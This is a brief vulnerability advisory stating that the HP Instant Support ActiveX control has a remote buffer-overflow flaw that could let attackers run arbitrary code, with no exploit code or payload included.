HP Instant Support ActiveX control is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.
Exploiting this issue allows remote attackers to execute arbitrary code in the context of applications using the affected ActiveX control and possibly to compromise affected computers.
